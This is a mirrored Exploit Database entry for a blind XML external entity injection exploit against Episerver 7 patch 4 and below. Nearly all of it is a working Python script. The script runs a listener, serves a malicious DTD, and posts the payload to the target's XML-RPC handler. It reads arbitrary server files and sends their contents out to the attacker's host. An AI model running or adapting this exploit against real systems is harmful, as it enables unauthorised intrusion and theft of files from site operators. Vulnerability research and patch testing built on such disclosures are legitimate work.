Episerver 7 patch 4 – XML External Entity Injection

Exploit Database
129 阅读

作者： Jonas Lejon

日期： 2018-08-29
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/45286/

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# Exploit Title: Episerver 7 patch 4 - XML External Entity Injection

# Google Dork: N/A

# Date: 2018-08-28

# Exploit Author: Jonas Lejon

# Vendor Homepage: https://www.episerver.se/

# Version: Episerver 7 patch 4 and below

# CVE : N/A

## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below

## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!

## Usage: ./episploit.py <target> [file-to-read]

#!/usr/bin/python

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

import urllib

import re

import sys

import time

import threading

import socket

SERVER_SOCKET = ('0.0.0.0', 8000)

EXFIL_FILE = 'file:///c:/windows/win.ini'

# The public facing IP. Change this

RHOST = '1.2.3.4:' + str(SERVER_SOCKET[1])

EXFILTRATED_EVENT = threading.Event()

class BlindXXEServer(BaseHTTPRequestHandler):

def response(self, **data):

code = data.get('code', 200)

content_type = data.get('content_type', 'text/plain')

body = data.get('body', '')

self.send_response(code)

self.send_header('Content-Type', content_type)

self.end_headers()

self.wfile.write(body.encode('utf-8'))

self.wfile.close()

def do_GET(self):

self.request_handler(self)

def do_POST(self):

self.request_handler(self)

def log_message(self, format, *args):

return

def request_handler(self, request):

global EXFILTRATED_EVENT

path = urllib.unquote(request.path).decode('utf8')

m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)

if m and request.command.lower() == 'get':

data = path[len('/?exfil='):]

print 'Exfiltrated %s:' % EXFIL_FILE

print '-' * 30

print urllib.unquote(data).decode('utf8')

print '-' * 30 + '\n'

self.response(body='true')

EXFILTRATED_EVENT.set()

elif request.path.endswith('.dtd'):

print 'Sending malicious DTD file.'

dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">

<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">

%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}

self.response(content_type='text/xml', body=dtd)

else:

print '[INFO] %s %s' % (request.command, request.path)

self.response(body='false')

def send_stage1(target):

content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + RHOST + '''/test.dtd"><foo>&exfil;</foo>'''

payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1

Host: ''' + target + '''

User-Agent: curl/7.54.0

Accept: */*

Content-Length: ''' + str(len(content)) + '''

Content-Type: application/x-www-form-urlencoded

Connection: close

''' + content

print "Sending payload.."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

port = 80

s.connect((target,port))

s.send(payload)

def main(target):

server = HTTPServer(SERVER_SOCKET, BlindXXEServer)

thread = threading.Thread(target=server.serve_forever)

thread.daemon = True

thread.start()

send_stage1(target)

while not EXFILTRATED_EVENT.is_set():

pass

if __name__ == '__main__':

if len(sys.argv) > 1:

target = sys.argv[1]

if len(sys.argv) > 2:

EXFIL_FILE = sys.argv[2]

main(target)